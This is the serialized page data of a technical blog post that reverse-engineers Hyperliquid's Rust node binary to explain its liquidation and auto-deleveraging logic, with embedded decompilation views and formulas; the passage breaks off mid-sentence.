[{"data":1,"prerenderedAt":171796},["ShallowReactive",2],{"blog-page-posts":3},[4,6805,9303,18863,24185,24403,34390,42714,58521,64332,66740,69214,73980,76705,90633,95353,96993,98860,105608,115960,119447,120601,126016,130996,135147,135907,137325,147477,152512,156872,160288,162263,162590,165001,167778],{"_path":5,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":9,"description":10,"date":11,"author":12,"image":13,"isFeatured":17,"onBlogPage":17,"tags":18,"hideToc":17,"body":22,"_type":6799,"_id":6800,"_source":6801,"_file":6802,"_stem":6803,"_extension":6804},"/blog/2026-06-22-hyperliquid-risk-engine","blog",false,"","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":14,"width":15,"height":16},"/posts/hyperliquid-risk-engine/title.png",1456,816,true,[19,20,21],"hyperliquid","reverse-engineering","defi",{"type":23,"children":24,"toc":6769},"root",[25,34,44,49,54,59,72,77,91,110,116,128,141,146,181,188,201,206,430,436,441,453,460,465,471,485,519,524,529,541,547,567,575,588,594,606,613,625,630,637,657,665,671,706,710,746,752,757,762,775,812,817,831,837,842,868,876,881,910,915,920,1258,1263,1268,1288,1316,1321,1334,1346,1351,1356,1362,1367,1372,1386,1391,1397,1425,1462,1474,1478,1483,1488,1494,1661,1697,1702,1708,1714,1910,1923,1928,1934,1955,1960,1966,1971,1976,1988,1993,1998,2004,2009,2014,2020,2026,2039,2074,2079,4696,4968,4973,6323,6328,6333,6345,6436,6448,6453,6459,6464,6473,6478,6486,6492,6526,6538,6546,6552,6558,6563,6571,6576,6581,6589,6601,6607,6612,6618,6629,6634,6640,6645,6650,6656,6661,6664,6669,6674,6680,6685,6697,6702,6707],{"type":26,"tag":27,"props":28,"children":30},"element","h2",{"id":29},"perpetuals",[31],{"type":32,"value":33},"text","Perpetuals",{"type":26,"tag":35,"props":36,"children":37},"blockquote",{},[38],{"type":26,"tag":39,"props":40,"children":41},"p",{},[42],{"type":32,"value":43},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":26,"tag":39,"props":45,"children":46},{},[47],{"type":32,"value":48},"What does that even have to do with reverse engineering?",{"type":26,"tag":27,"props":50,"children":51},{"id":19},[52],{"type":32,"value":53},"Hyperliquid",{"type":26,"tag":39,"props":55,"children":56},{},[57],{"type":32,"value":58},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":26,"tag":39,"props":60,"children":61},{},[62,64,70],{"type":32,"value":63},"The node is tasked with a ",{"type":26,"tag":65,"props":66,"children":67},"em",{},[68],{"type":32,"value":69},"very hard problem",{"type":32,"value":71},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":26,"tag":39,"props":73,"children":74},{},[75],{"type":32,"value":76},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":26,"tag":39,"props":78,"children":79},{},[80,82,89],{"type":32,"value":81},"Beyond that, the ",{"type":26,"tag":83,"props":84,"children":86},"code",{"className":85},[],[87],{"type":32,"value":88},"hl-node",{"type":32,"value":90}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":26,"tag":39,"props":92,"children":93},{},[94,96,101,103,108],{"type":32,"value":95},"Armed with some curiosity, a good amount of ",{"type":26,"tag":65,"props":97,"children":98},{},[99],{"type":32,"value":100},"inference",{"type":32,"value":102},", and the right tooling, we'll take a deep dive using an ",{"type":26,"tag":65,"props":104,"children":105},{},[106],{"type":32,"value":107},"interactive interface",{"type":32,"value":109},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":26,"tag":27,"props":111,"children":113},{"id":112},"the-million-dollar-question",[114],{"type":32,"value":115},"The Million Dollar Question",{"type":26,"tag":39,"props":117,"children":118},{},[119,121,126],{"type":32,"value":120},"Let's say a terrible trader opens a ",{"type":26,"tag":65,"props":122,"children":123},{},[124],{"type":32,"value":125},"50x",{"type":32,"value":127}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":26,"tag":39,"props":129,"children":130},{},[131,133,139],{"type":32,"value":132},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":26,"tag":83,"props":134,"children":136},{"className":135},[],[137],{"type":32,"value":138},"compute_margin_requirement_by_mode",{"type":32,"value":140}," function.",{"type":26,"tag":39,"props":142,"children":143},{},[144],{"type":32,"value":145},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":26,"tag":147,"props":148,"children":149},"tip",{},[150],{"type":26,"tag":39,"props":151,"children":152},{},[153,155,160,162,171,173,179],{"type":32,"value":154},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":26,"tag":65,"props":156,"children":157},{},[158],{"type":32,"value":159},"click through",{"type":32,"value":161}," each action performed by ",{"type":26,"tag":163,"props":164,"children":168},"a",{"href":165,"rel":166},"https://github.com/renato-osec/patina-research",[167],"nofollow",[169],{"type":32,"value":170},"our Rust reverse engineering agent",{"type":32,"value":172},". Return to the regular view by clicking ",{"type":26,"tag":83,"props":174,"children":176},{"className":175},[],[177],{"type":32,"value":178},"T",{"type":32,"value":180},".",{"type":26,"tag":182,"props":183,"children":187},"bndb-viewer-embed",{"addr":184,"line-start":185,"line-end":186},"0x555556bb4d20","1","20",[],{"type":26,"tag":39,"props":189,"children":190},{},[191,193,199],{"type":32,"value":192},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":26,"tag":83,"props":194,"children":196},{"className":195},[],[197],{"type":32,"value":198},"OptionUnitQty",{"type":32,"value":200},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":26,"tag":39,"props":202,"children":203},{},[204],{"type":32,"value":205},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":26,"tag":207,"props":208,"children":209},"pre",{},[210],{"type":26,"tag":83,"props":211,"children":215},{"className":212},[213,214],"language-math","math-display",[216],{"type":26,"tag":217,"props":218,"children":221},"span",{"className":219},[220],"katex-display",[222],{"type":26,"tag":217,"props":223,"children":226},{"className":224},[225],"katex",[227],{"type":26,"tag":217,"props":228,"children":232},{"className":229,"ariaHidden":231},[230],"katex-html","true",[233,272],{"type":26,"tag":217,"props":234,"children":237},{"className":235},[236],"base",[238,244,255,261,268],{"type":26,"tag":217,"props":239,"children":243},{"className":240,"style":242},[241],"strut","height:1.0044em;vertical-align:-0.31em;",[],{"type":26,"tag":217,"props":245,"children":248},{"className":246},[247,32],"mord",[249],{"type":26,"tag":217,"props":250,"children":252},{"className":251},[247],[253],{"type":32,"value":254},"liq_equity",{"type":26,"tag":217,"props":256,"children":260},{"className":257,"style":259},[258],"mspace","margin-right:0.2778em;",[],{"type":26,"tag":217,"props":262,"children":265},{"className":263},[264],"mrel",[266],{"type":32,"value":267},"=",{"type":26,"tag":217,"props":269,"children":271},{"className":270,"style":259},[258],[],{"type":26,"tag":217,"props":273,"children":275},{"className":274},[236],[276,281],{"type":26,"tag":217,"props":277,"children":280},{"className":278,"style":279},[241],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":26,"tag":217,"props":282,"children":284},{"className":283},[247],[285,291,425],{"type":26,"tag":217,"props":286,"children":290},{"className":287},[288,289],"mopen","nulldelimiter",[],{"type":26,"tag":217,"props":292,"children":295},{"className":293},[294],"mfrac",[296],{"type":26,"tag":217,"props":297,"children":301},{"className":298},[299,300],"vlist-t","vlist-t2",[302,413],{"type":26,"tag":217,"props":303,"children":306},{"className":304},[305],"vlist-r",[307,406],{"type":26,"tag":217,"props":308,"children":312},{"className":309,"style":311},[310],"vlist","height:1.427em;",[313,359,373],{"type":26,"tag":217,"props":314,"children":316},{"style":315},"top:-2.314em;",[317,323],{"type":26,"tag":217,"props":318,"children":322},{"className":319,"style":321},[320],"pstrut","height:3em;",[],{"type":26,"tag":217,"props":324,"children":326},{"className":325},[247],[327,333,338,345,349],{"type":26,"tag":217,"props":328,"children":330},{"className":329},[247],[331],{"type":32,"value":332},"2",{"type":26,"tag":217,"props":334,"children":337},{"className":335,"style":336},[258],"margin-right:0.2222em;",[],{"type":26,"tag":217,"props":339,"children":342},{"className":340},[341],"mbin",[343],{"type":32,"value":344},"⋅",{"type":26,"tag":217,"props":346,"children":348},{"className":347,"style":336},[258],[],{"type":26,"tag":217,"props":350,"children":352},{"className":351},[247,32],[353],{"type":26,"tag":217,"props":354,"children":356},{"className":355},[247],[357],{"type":32,"value":358},"leverage",{"type":26,"tag":217,"props":360,"children":362},{"style":361},"top:-3.23em;",[363,367],{"type":26,"tag":217,"props":364,"children":366},{"className":365,"style":321},[320],[],{"type":26,"tag":217,"props":368,"children":372},{"className":369,"style":371},[370],"frac-line","border-bottom-width:0.04em;",[],{"type":26,"tag":217,"props":374,"children":376},{"style":375},"top:-3.677em;",[377,381],{"type":26,"tag":217,"props":378,"children":380},{"className":379,"style":321},[320],[],{"type":26,"tag":217,"props":382,"children":384},{"className":383},[247],[385,391,401],{"type":26,"tag":217,"props":386,"children":388},{"className":387},[247],[389],{"type":32,"value":390},"∣",{"type":26,"tag":217,"props":392,"children":394},{"className":393},[247,32],[395],{"type":26,"tag":217,"props":396,"children":398},{"className":397},[247],[399],{"type":32,"value":400},"notional",{"type":26,"tag":217,"props":402,"children":404},{"className":403},[247],[405],{"type":32,"value":390},{"type":26,"tag":217,"props":407,"children":410},{"className":408},[409],"vlist-s",[411],{"type":32,"value":412},"​",{"type":26,"tag":217,"props":414,"children":416},{"className":415},[305],[417],{"type":26,"tag":217,"props":418,"children":421},{"className":419,"style":420},[310],"height:0.8804em;",[422],{"type":26,"tag":217,"props":423,"children":424},{},[],{"type":26,"tag":217,"props":426,"children":429},{"className":427},[428,289],"mclose",[],{"type":26,"tag":27,"props":431,"children":433},{"id":432},"what-if-nobody-wants-to-buy-the-position",[434],{"type":32,"value":435},"What If Nobody Wants to Buy the Position?",{"type":26,"tag":39,"props":437,"children":438},{},[439],{"type":32,"value":440},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":26,"tag":39,"props":442,"children":443},{},[444,446,451],{"type":32,"value":445},"When that happens, the exchange is basically left with a ",{"type":26,"tag":65,"props":447,"children":448},{},[449],{"type":32,"value":450},"hot potato",{"type":32,"value":452}," to get rid of: what should it even do with the debt?",{"type":26,"tag":454,"props":455,"children":457},"h1",{"id":456},"the-risk-engine",[458],{"type":32,"value":459},"The Risk Engine",{"type":26,"tag":39,"props":461,"children":462},{},[463],{"type":32,"value":464},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":26,"tag":27,"props":466,"children":468},{"id":467},"clearing-up-bad-debt",[469],{"type":32,"value":470},"Clearing Up Bad Debt",{"type":26,"tag":39,"props":472,"children":473},{},[474,476,483],{"type":32,"value":475},"The ",{"type":26,"tag":163,"props":477,"children":480},{"href":478,"rel":479},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[167],[481],{"type":32,"value":482},"Hyperliquid docs",{"type":32,"value":484}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":26,"tag":39,"props":486,"children":487},{},[488,490,501,503,509,511,517],{"type":32,"value":489},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":26,"tag":163,"props":491,"children":494},{"href":492,"rel":493},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[167],[495],{"type":26,"tag":83,"props":496,"children":498},{"className":497},[],[499],{"type":32,"value":500},"Clearinghouse",{"type":32,"value":502},", a struct containing all liquidation-related info, nested within a bigger ",{"type":26,"tag":83,"props":504,"children":506},{"className":505},[],[507],{"type":32,"value":508},"Exchange",{"type":32,"value":510}," data structure. This is an example of what it might hold when serialized as ",{"type":26,"tag":83,"props":512,"children":514},{"className":513},[],[515],{"type":32,"value":516},"MessagePack",{"type":32,"value":518}," at runtime.",{"type":26,"tag":39,"props":520,"children":521},{},[522],{"type":32,"value":523},"This data will come in handy both for us and the agent.",{"type":26,"tag":525,"props":526,"children":528},"file-download",{"path":527},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":26,"tag":39,"props":530,"children":531},{},[532,534,539],{"type":32,"value":533},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":26,"tag":83,"props":535,"children":537},{"className":536},[],[538],{"type":32,"value":500},{"type":32,"value":540},". Some renaming later, we can infer something like this:",{"type":26,"tag":182,"props":542,"children":546},{"source":543,"target":544,"direction":545},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":26,"tag":39,"props":548,"children":549},{},[550,552,557,559,565],{"type":32,"value":551},"We have one huge function handling all clearinghouse operations, which we call ",{"type":26,"tag":83,"props":553,"children":555},{"className":554},[],[556],{"type":32,"value":544},{"type":32,"value":558},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":26,"tag":83,"props":560,"children":562},{"className":561},[],[563],{"type":32,"value":564},"exchange_end_block",{"type":32,"value":566},". So, at the end of each block we run some checks.",{"type":26,"tag":147,"props":568,"children":569},{},[570],{"type":26,"tag":39,"props":571,"children":572},{},[573],{"type":32,"value":574},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":26,"tag":39,"props":576,"children":577},{},[578,580,586],{"type":32,"value":579},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":26,"tag":83,"props":581,"children":583},{"className":582},[],[584],{"type":32,"value":585},"clearinghouse.perform_auto_deleveraging",{"type":32,"value":587}," flag.",{"type":26,"tag":182,"props":589,"children":593},{"addr":590,"line-start":591,"line-end":592},"0x555556ac3850","3290","3301",[],{"type":26,"tag":39,"props":595,"children":596},{},[597,599,604],{"type":32,"value":598},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":26,"tag":83,"props":600,"children":602},{"className":601},[],[603],{"type":32,"value":500},{"type":32,"value":605},"?",{"type":26,"tag":607,"props":608,"children":610},"h3",{"id":609},"threshold-condition",[611],{"type":32,"value":612},"Threshold Condition",{"type":26,"tag":39,"props":614,"children":615},{},[616,618,623],{"type":32,"value":617},"The natural connection between liquidations and ADL is ",{"type":26,"tag":65,"props":619,"children":620},{},[621],{"type":32,"value":622},"shortfall",{"type":32,"value":624},": by how much a position, or the entire system (!), is underwater.",{"type":26,"tag":39,"props":626,"children":627},{},[628],{"type":32,"value":629},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":26,"tag":631,"props":632,"children":634},"h4",{"id":633},"who-is-underwater",[635],{"type":32,"value":636},"Who Is Underwater?",{"type":26,"tag":39,"props":638,"children":639},{},[640,642,647,649,655],{"type":32,"value":641},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":26,"tag":83,"props":643,"children":645},{"className":644},[],[646],{"type":32,"value":544},{"type":32,"value":648},", starting from all user positions, which are stored in ",{"type":26,"tag":83,"props":650,"children":652},{"className":651},[],[653],{"type":32,"value":654},"clearinghouse.user_states",{"type":32,"value":656},", as we can also see from the serialization.",{"type":26,"tag":147,"props":658,"children":659},{},[660],{"type":26,"tag":39,"props":661,"children":662},{},[663],{"type":32,"value":664},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":26,"tag":182,"props":666,"children":670},{"source":667,"target":564,"direction":668,"path":669},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":26,"tag":39,"props":672,"children":673},{},[674,675,680,682,688,690,696,698,704],{"type":32,"value":475},{"type":26,"tag":83,"props":676,"children":678},{"className":677},[],[679],{"type":32,"value":667},{"type":32,"value":681}," essentially turns that into an ",{"type":26,"tag":83,"props":683,"children":685},{"className":684},[],[686],{"type":32,"value":687},"Iter",{"type":32,"value":689},", then, inside of ",{"type":26,"tag":83,"props":691,"children":693},{"className":692},[],[694],{"type":32,"value":695},"build_adl_candidate_set",{"type":32,"value":697}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":26,"tag":83,"props":699,"children":701},{"className":700},[],[702],{"type":32,"value":703},"AdlIterEntry",{"type":32,"value":705}," field.",{"type":26,"tag":182,"props":707,"children":709},{"type-name":708},"AdlIterContext",[],{"type":26,"tag":39,"props":711,"children":712},{},[713,715,721,723,729,731,737,739,744],{"type":32,"value":714},"Note that in storage, ",{"type":26,"tag":83,"props":716,"children":718},{"className":717},[],[719],{"type":32,"value":720},"Isolated",{"type":32,"value":722}," positions have their own independent ",{"type":26,"tag":83,"props":724,"children":726},{"className":725},[],[727],{"type":32,"value":728},"Entry",{"type":32,"value":730}," in the position iterators, and ",{"type":26,"tag":83,"props":732,"children":734},{"className":733},[],[735],{"type":32,"value":736},"Cross",{"type":32,"value":738}," positions have a single common ",{"type":26,"tag":83,"props":740,"children":742},{"className":741},[],[743],{"type":32,"value":728},{"type":32,"value":745},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":26,"tag":182,"props":747,"children":751},{"addr":748,"line-start":749,"line-end":750},"0x555556266b10","152","163",[],{"type":26,"tag":39,"props":753,"children":754},{},[755],{"type":32,"value":756},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":26,"tag":182,"props":758,"children":761},{"addr":590,"line-start":759,"line-end":760},"506","527",[],{"type":26,"tag":39,"props":763,"children":764},{},[765,767],{"type":32,"value":766},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":26,"tag":768,"props":769,"children":772},"bndb-xref",{"lines":770,"addrs":771},"1-2","0x555556ac3e18-0x555556ac3e18",[773],{"type":32,"value":774},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":26,"tag":39,"props":776,"children":777},{},[778,780,786,788,794,796,802,804,810],{"type":32,"value":779},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":26,"tag":83,"props":781,"children":783},{"className":782},[],[784],{"type":32,"value":785},"only_isolated",{"type":32,"value":787}," (or ",{"type":26,"tag":83,"props":789,"children":791},{"className":790},[],[792],{"type":32,"value":793},"strict_isolated",{"type":32,"value":795}," in MessagePack dumps) are added to a separate queue, ",{"type":26,"tag":83,"props":797,"children":799},{"className":798},[],[800],{"type":32,"value":801},"deferred_queue",{"type":32,"value":803},", which triggers ADL regardless of the system's ",{"type":26,"tag":83,"props":805,"children":807},{"className":806},[],[808],{"type":32,"value":809},"total_shortfall",{"type":32,"value":811},". This is dictated by this branch.",{"type":26,"tag":182,"props":813,"children":816},{"addr":590,"line-start":814,"line-end":815},"211","243",[],{"type":26,"tag":39,"props":818,"children":819},{},[820,822,829],{"type":32,"value":821},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":26,"tag":163,"props":823,"children":826},{"href":824,"rel":825},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[167],[827],{"type":32,"value":828},"March 2025 incident",{"type":32,"value":830},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":26,"tag":631,"props":832,"children":834},{"id":833},"how-do-we-get-rid-of-debt",[835],{"type":32,"value":836},"How Do We Get Rid of Debt?",{"type":26,"tag":39,"props":838,"children":839},{},[840],{"type":32,"value":841},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":26,"tag":39,"props":843,"children":844},{},[845,847,852,854,859,861,866],{"type":32,"value":846},"Thus, if the debt is insurmountable, the ",{"type":26,"tag":83,"props":848,"children":850},{"className":849},[],[851],{"type":32,"value":801},{"type":32,"value":853}," is overwritten by all the users marked by ",{"type":26,"tag":83,"props":855,"children":857},{"className":856},[],[858],{"type":32,"value":695},{"type":32,"value":860},", otherwise we keep it and only holders of underwater ",{"type":26,"tag":83,"props":862,"children":864},{"className":863},[],[865],{"type":32,"value":793},{"type":32,"value":867}," positions from the earlier loop are considered for ADL.",{"type":26,"tag":147,"props":869,"children":870},{},[871],{"type":26,"tag":39,"props":872,"children":873},{},[874],{"type":32,"value":875},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":26,"tag":182,"props":877,"children":880},{"addr":590,"line-start":878,"line-end":879},"523","526",[],{"type":26,"tag":39,"props":882,"children":883},{},[884,886,892,894,900,902,908],{"type":32,"value":885},"For each underwater position, we do a ",{"type":26,"tag":768,"props":887,"children":889},{"addrs":888},"0x555556ac42ad-0x555556ac42be",[890],{"type":32,"value":891},"B-tree lookup",{"type":32,"value":893}," on ",{"type":26,"tag":83,"props":895,"children":897},{"className":896},[],[898],{"type":32,"value":899},"clearinghouse.user_states[position.user]",{"type":32,"value":901},", adding them to a ",{"type":26,"tag":83,"props":903,"children":905},{"className":904},[],[906],{"type":32,"value":907},"Vec",{"type":32,"value":909}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":26,"tag":182,"props":911,"children":914},{"addr":590,"line-start":912,"line-end":913},"635","658",[],{"type":26,"tag":39,"props":916,"children":917},{},[918],{"type":32,"value":919},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":26,"tag":207,"props":921,"children":922},{},[923],{"type":26,"tag":83,"props":924,"children":926},{"className":925},[213,214],[927],{"type":26,"tag":217,"props":928,"children":930},{"className":929},[220],[931],{"type":26,"tag":217,"props":932,"children":934},{"className":933},[225],[935],{"type":26,"tag":217,"props":936,"children":938},{"className":937,"ariaHidden":231},[230],[939],{"type":26,"tag":217,"props":940,"children":942},{"className":941},[236],[943,948],{"type":26,"tag":217,"props":944,"children":947},{"className":945,"style":946},[241],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":26,"tag":217,"props":949,"children":951},{"className":950},[247],[952],{"type":26,"tag":217,"props":953,"children":956},{"className":954},[955],"mtable",[957,1037],{"type":26,"tag":217,"props":958,"children":961},{"className":959},[960],"col-align-r",[962],{"type":26,"tag":217,"props":963,"children":965},{"className":964},[299,300],[966,1025],{"type":26,"tag":217,"props":967,"children":969},{"className":968},[305],[970,1020],{"type":26,"tag":217,"props":971,"children":974},{"className":972,"style":973},[310],"height:2.3452em;",[975,998],{"type":26,"tag":217,"props":976,"children":978},{"style":977},"top:-4.3452em;",[979,984],{"type":26,"tag":217,"props":980,"children":983},{"className":981,"style":982},[320],"height:3.3944em;",[],{"type":26,"tag":217,"props":985,"children":987},{"className":986},[247],[988],{"type":26,"tag":217,"props":989,"children":991},{"className":990},[247,32],[992],{"type":26,"tag":217,"props":993,"children":995},{"className":994},[247],[996],{"type":32,"value":997},"position_weight",{"type":26,"tag":217,"props":999,"children":1001},{"style":1000},"top:-2.2092em;",[1002,1006],{"type":26,"tag":217,"props":1003,"children":1005},{"className":1004,"style":982},[320],[],{"type":26,"tag":217,"props":1007,"children":1009},{"className":1008},[247],[1010],{"type":26,"tag":217,"props":1011,"children":1013},{"className":1012},[247,32],[1014],{"type":26,"tag":217,"props":1015,"children":1017},{"className":1016},[247],[1018],{"type":32,"value":1019},"position_adl_amount",{"type":26,"tag":217,"props":1021,"children":1023},{"className":1022},[409],[1024],{"type":32,"value":412},{"type":26,"tag":217,"props":1026,"children":1028},{"className":1027},[305],[1029],{"type":26,"tag":217,"props":1030,"children":1033},{"className":1031,"style":1032},[310],"height:1.8452em;",[1034],{"type":26,"tag":217,"props":1035,"children":1036},{},[],{"type":26,"tag":217,"props":1038,"children":1041},{"className":1039},[1040],"col-align-l",[1042],{"type":26,"tag":217,"props":1043,"children":1045},{"className":1044},[299,300],[1046,1247],{"type":26,"tag":217,"props":1047,"children":1049},{"className":1048},[305],[1050,1242],{"type":26,"tag":217,"props":1051,"children":1053},{"className":1052,"style":973},[310],[1054,1182],{"type":26,"tag":217,"props":1055,"children":1056},{"style":977},[1057,1061],{"type":26,"tag":217,"props":1058,"children":1060},{"className":1059,"style":982},[320],[],{"type":26,"tag":217,"props":1062,"children":1064},{"className":1063},[247],[1065,1069,1073,1078,1082],{"type":26,"tag":217,"props":1066,"children":1068},{"className":1067},[247],[],{"type":26,"tag":217,"props":1070,"children":1072},{"className":1071,"style":259},[258],[],{"type":26,"tag":217,"props":1074,"children":1076},{"className":1075},[264],[1077],{"type":32,"value":267},{"type":26,"tag":217,"props":1079,"children":1081},{"className":1080,"style":259},[258],[],{"type":26,"tag":217,"props":1083,"children":1085},{"className":1084},[247],[1086,1090,1178],{"type":26,"tag":217,"props":1087,"children":1089},{"className":1088},[288,289],[],{"type":26,"tag":217,"props":1091,"children":1093},{"className":1092},[294],[1094],{"type":26,"tag":217,"props":1095,"children":1097},{"className":1096},[299,300],[1098,1166],{"type":26,"tag":217,"props":1099,"children":1101},{"className":1100},[305],[1102,1161],{"type":26,"tag":217,"props":1103,"children":1106},{"className":1104,"style":1105},[310],"height:1.3944em;",[1107,1128,1139],{"type":26,"tag":217,"props":1108,"children":1109},{"style":315},[1110,1114],{"type":26,"tag":217,"props":1111,"children":1113},{"className":1112,"style":321},[320],[],{"type":26,"tag":217,"props":1115,"children":1117},{"className":1116},[247],[1118],{"type":26,"tag":217,"props":1119,"children":1121},{"className":1120},[247,32],[1122],{"type":26,"tag":217,"props":1123,"children":1125},{"className":1124},[247],[1126],{"type":32,"value":1127},"total_cross_notional",{"type":26,"tag":217,"props":1129,"children":1130},{"style":361},[1131,1135],{"type":26,"tag":217,"props":1132,"children":1134},{"className":1133,"style":321},[320],[],{"type":26,"tag":217,"props":1136,"children":1138},{"className":1137,"style":371},[370],[],{"type":26,"tag":217,"props":1140,"children":1142},{"style":1141},"top:-3.7em;",[1143,1147],{"type":26,"tag":217,"props":1144,"children":1146},{"className":1145,"style":321},[320],[],{"type":26,"tag":217,"props":1148,"children":1150},{"className":1149},[247],[1151],{"type":26,"tag":217,"props":1152,"children":1154},{"className":1153},[247,32],[1155],{"type":26,"tag":217,"props":1156,"children":1158},{"className":1157},[247],[1159],{"type":32,"value":1160},"position_notional",{"type":26,"tag":217,"props":1162,"children":1164},{"className":1163},[409],[1165],{"type":32,"value":412},{"type":26,"tag":217,"props":1167,"children":1169},{"className":1168},[305],[1170],{"type":26,"tag":217,"props":1171,"children":1174},{"className":1172,"style":1173},[310],"height:0.996em;",[1175],{"type":26,"tag":217,"props":1176,"children":1177},{},[],{"type":26,"tag":217,"props":1179,"children":1181},{"className":1180},[428,289],[],{"type":26,"tag":217,"props":1183,"children":1184},{"style":1000},[1185,1189],{"type":26,"tag":217,"props":1186,"children":1188},{"className":1187,"style":982},[320],[],{"type":26,"tag":217,"props":1190,"children":1192},{"className":1191},[247],[1193,1197,1201,1206,1210,1220,1224,1229,1233],{"type":26,"tag":217,"props":1194,"children":1196},{"className":1195},[247],[],{"type":26,"tag":217,"props":1198,"children":1200},{"className":1199,"style":259},[258],[],{"type":26,"tag":217,"props":1202,"children":1204},{"className":1203},[264],[1205],{"type":32,"value":267},{"type":26,"tag":217,"props":1207,"children":1209},{"className":1208,"style":259},[258],[],{"type":26,"tag":217,"props":1211,"children":1213},{"className":1212},[247,32],[1214],{"type":26,"tag":217,"props":1215,"children":1217},{"className":1216},[247],[1218],{"type":32,"value":1219},"user_shortfall",{"type":26,"tag":217,"props":1221,"children":1223},{"className":1222,"style":336},[258],[],{"type":26,"tag":217,"props":1225,"children":1227},{"className":1226},[341],[1228],{"type":32,"value":344},{"type":26,"tag":217,"props":1230,"children":1232},{"className":1231,"style":336},[258],[],{"type":26,"tag":217,"props":1234,"children":1236},{"className":1235},[247,32],[1237],{"type":26,"tag":217,"props":1238,"children":1240},{"className":1239},[247],[1241],{"type":32,"value":997},{"type":26,"tag":217,"props":1243,"children":1245},{"className":1244},[409],[1246],{"type":32,"value":412},{"type":26,"tag":217,"props":1248,"children":1250},{"className":1249},[305],[1251],{"type":26,"tag":217,"props":1252,"children":1254},{"className":1253,"style":1032},[310],[1255],{"type":26,"tag":217,"props":1256,"children":1257},{},[],{"type":26,"tag":39,"props":1259,"children":1260},{},[1261],{"type":32,"value":1262},"We do that here:",{"type":26,"tag":182,"props":1264,"children":1267},{"addr":590,"line-start":1265,"line-end":1266},"828","981",[],{"type":26,"tag":39,"props":1269,"children":1270},{},[1271,1272,1278,1280,1286],{"type":32,"value":475},{"type":26,"tag":768,"props":1273,"children":1275},{"lines":1274},"77-79",[1276],{"type":32,"value":1277},"inner loop",{"type":32,"value":1279}," above spans all 